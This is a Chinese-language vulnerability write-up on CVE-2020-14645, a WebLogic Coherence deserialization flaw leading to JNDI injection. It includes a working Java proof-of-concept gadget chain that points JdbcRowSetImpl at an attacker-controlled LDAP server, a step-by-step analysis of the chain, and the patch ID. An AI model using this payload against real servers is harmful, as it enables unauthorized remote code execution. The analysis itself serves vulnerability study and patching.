Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将MvelExtractor和ReflectionExtractor列入黑名单,因此需要另外寻找一个存在extract且方法内存在恶意操作的类即可绕过补丁。
这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能影响 Weblogic 12.2.1.4.x。
1)影响范围
Oracle WebLogic Server 12.2.1.4.0
2)漏洞复现
这里使用JNDI-Injection-Exploit工具开启一个ldap服务端

这里使用了Y4er师傅的poc,生成poc文件,使用t3协议发送
package com.yyhuni;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception {
// CVE_2020_14645
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,q);
Field queue2 = queue.getClass().getDeclaredField("size");
queue2.setAccessible(true);
queue2.set(queue,2);
//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
弹出计算器:

3)漏洞分析
在UniversalExtractor#extract中,利用了invoke调用 JdbcRowSetImpl#getDatabaseMetaData方法导致 JDNI 远程动态类加载。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的。
gadget链:
- PriorityQueue#readObject
- ExtractorComparator#compare
- this.m_extractor.extract
- UniversalExtractor#extract
- UniversalExtractor#extractComplex
- method.invoke#205
- JdbcRowSetImpl#getDatabaseMetaData
下面就分别解析PriorityQueue、ExtractorComparator、UniversalExtractor、JdbcRowSetImpl这四个类是怎么进行串联产生调用关系的
3.1 JdbcRowSetImpl
在JdbcRowSetImpl中,调用其getDatabaseMetaData方法,会进行lookup的操作


可以看到,如果this.getDataSourceName()参数可控,则会产生JNDI注入
3.2 UniversalExtractor
使用此类的目的是,此类的extract方法,可以调用到JdbcRowSetImpl的getDatabaseMetaData方法
构造方法
先来看UniversalExtractor的构造函数,在payload中传入了三个参数sName、aoParam、nTarget做了哪些操作
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

如果第一个if判断为true的话,则会抛出异常。所以传入的aoParam值为null,会跳转到else中
跳转到else中,分别给m_sName、m_aoParam、m_nTarget赋值,接着调用了this.init()

跟进this.init()

148行调用了getCanonicalName方法,把返回值传给了sCName,跟进getCanonicalName

86行的Lambdas.getValueExtractorCanonicalName(this)是判断this是否为AbstractRemotableLambda类型,此处就不跟入了,它的返回值是null。
所以进入了88行的if语句中,CanonicalNames.computeValueExtractorCanonicalName(this.m_sName, this.m_aoParam);

跟进computeValueExtractorCanonicalName方法

这里三个框分别解释下
如果aoParam 不为 null 且数组长度大于0就会返回 null ,此处aoParam是我们传入的null,不满足条件,进入else
如果方法名 sName 不以 () 结尾,则直接返回方法名,我们sName的值是getDatabaseMetaData(),不满足条件,进入else
如果方法名以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头得话,会截取掉并返回,查看到数组中的元素有get、is,所以截取掉了getDatabaseMetaData()前面的get,最终返回了databaseMetaData

最终返回的databaseMetaData会赋值给init方法中的sCName

接下来一行把this.m_fMethod赋值为了false

到这里UniversalExtractor的构造函数就已经执行完了。接下来看下UniversalExtractor的extract方法
extract方法

在extract方法中,传入了oTarget,调用了extractComplex方法,跟进extractComplex方法

在extractComplex方法中有使用到反射调用oTarget的任意方法method.invoke(oTarget, aoParam),而这里有三个参数分别是method、oTarget、aoParam,需要对这三个参数可控才可以调用到JdbcRowSetImpl的getDatabaseMetaData方法。
现在来拆解extract方法,来理解这个extract方法是怎么一步步调用到最后的invoke的。
第一个if语句判断oTarget的值是不是等于null

从而走进else中,第二个if语句判断targetPrev的值如果为null,则走进else中,显然在69行,targetPrev被赋予了一个默认值null

接着在else中就是调用了this.extractComplex(oTarget)

跟进extractComplex

开头几行分别是对一些变量进行赋值
clzTarget为com.sun.rowset.JdbcRowSetImpl的class对象
aoParam为null
clzParam为null
sCName为databaseMetaData
fProperty为true
这里就解释下fProperty为什么是true,可以在isPropertyExtractor方法中看到,取反this.m_fMethod,而this.m_fMethod则是在前面init中被赋予了false

所以186行第一个if语句进入了true

sBeanAttribute的值为sCName第一个首字母变成大写后的值DatabaseMetaData
重点看for循环里面的内容,因为此内容拿到了关键的method
在BEAN_ACCESSOR_PREFIXES中有get、is方法,for循环遍历拿到clzTarget对象(com.sun.rowset.JdbcRowSetImpl)的get,is + sBeanAttribute(DatabaseMetaData)方法,然后赋值给了method

最后进行了method.invoke(oTarget, aoParam)

method值为getDatabaseMetaData
oTarget值为JdbcRowSetImpl
aoParam值为null
接下来就是调用到了JdbcRowSetImpl的getDatabaseMetaData方法造成了JNDI注入
3.3 ExtractorComparator
ExtractorComparator类的compare方法会去调用UniversalExtractor#extract,并且传入了o1,而此处的o1则是最后UniversalExtractor的oTarget(JdbcRowSetImpl)

3.4 PriorityQueue
PriorityQueue类是此漏洞的入口,其以readObject为入口,最后调用到ExtractorComparator#compare方法,下面是PriorityQueue的调用链
readObject
->heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare
这里有几个注意点:
comparator的值为PriorityQueue的构造函数中传入

comparator.compare(x, (E) c)中x和c的值都是在queue数组中获得


最后一点是size的值要大于等于2,不然不会进入while语句中

最后构造出整个漏洞的调用链
入口在PriorityQueue#readObject
-》 ExtractorComparator#compare
-》 this.m_extractor.extract
-》 UniversalExtractor#extract
-》 UniversalExtractor#extractComplex
-》 method.invoke#205
-》 JdbcRowSetImpl#getDatabaseMetaData
4)修复方式
安装Weblogic补丁:p31537019_122140_Generic
5)参考
https://www.anquanke.com/post/id/210724
https://nosec.org/home/detail/4524.html
https://paper.seebug.org/1280/#cve-2020-2883
https://github.com/Y4er/CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645的更多相关文章
- weblogic漏洞分析之CVE-2021-2394
weblogic漏洞分析之CVE-2021-2394 简介 Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP.T ...
- weblogic漏洞分析之CVE-2016-0638
weblogic漏洞分析之CVE-2016-0638 一.环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/151370 ...
- weblogic漏洞分析之CVE-2017-10271
weblogic漏洞分析之CVE-2017-10271 一.环境搭建 1)配置docker 这里使用vulhub的环境:CVE-2017-10271 编辑docker-compose.yml文件,加入 ...
- weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已,所以poc都一样,只是使用的payload不同 本机开启JRMP服务端 ->利用T ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- weblogic之CVE-2018-3191漏洞分析
weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
随机推荐
- 【PTA|Python】浙大版《Python 程序设计》题目集:第二章
前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 自我介绍 ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计 ...
- 线程礼让_yield
线程礼让_yield 礼让线程,让当前正在执行的线程暂停,但不阻塞 将线程从运行状态转为就绪状态 让cpu重新调度,礼让不一定成功!看CPU心情 测试案例: package multithreadin ...
- Java多线程操作同一个对象,线程不安全
Java多线程操作同一个对象 发现问题:多个线程操作同一资源的情况下,线程不安全,数据紊乱 代码: package multithreading; // Java多线程操作同一个对象 // 买火车票的 ...
- 深入理解jvm-2Edition-Java内存区域
1.运行时数据区域 Java虚拟机会将内存区域划分为几个区域,每个区域储存不同类型的数据或承担不同的功能. PC,堆-Java堆,栈-虚拟机栈.本地方法栈,方法区.直接内存. 当类被实例化或stati ...
- Haskell Interactive Development in Emacs
Installation Following haskell-mode. Use MELPA repository: add the following into ~/.emacs (require ...
- 【Java】jeesite使用学习
初始配置环境及软件: 名称 版本 作用 Tomcat 7.0 微小型服务器,版本无所谓,装个Tomcat 9估计也没事 IntelliJ IDEA 2021.1.3 x64 2021.1.3 编译器, ...
- 清理docker常用命令
0.查看docker占用空间docker system df1.一键删除所有已经停止的容器 docker container prune 2.删除所有容器(包含停止的 正在运行的) docker rm ...
- 值得收藏 | 深度剖析 TensorCore 卷积算子实现原理
作者:章晓 | 旷视 MegEngine 架构师 一.前言 2020 年 5 月 Nvidia 发布了新一代的 GPU 架构安培(Ampere).其中和深度学习关系最密切的莫过于性能强劲的第三代的 T ...
- 一次BC站点渗透实录
初探 打开首页 简单信息收集: IP地址:美国加利福尼亚洛杉矶 无CDN 中间件:Nginx 80端口直接突破,故未进行端口扫描 渗透思路 一般这种BC站点,有几种思路可以切入: 1)通过SQL注入查 ...
- leaflet 动态线渲染
可以采用leaflet插件 leaflet-ant-path ... <script src="js/leaflet-ant-path.js" type="text ...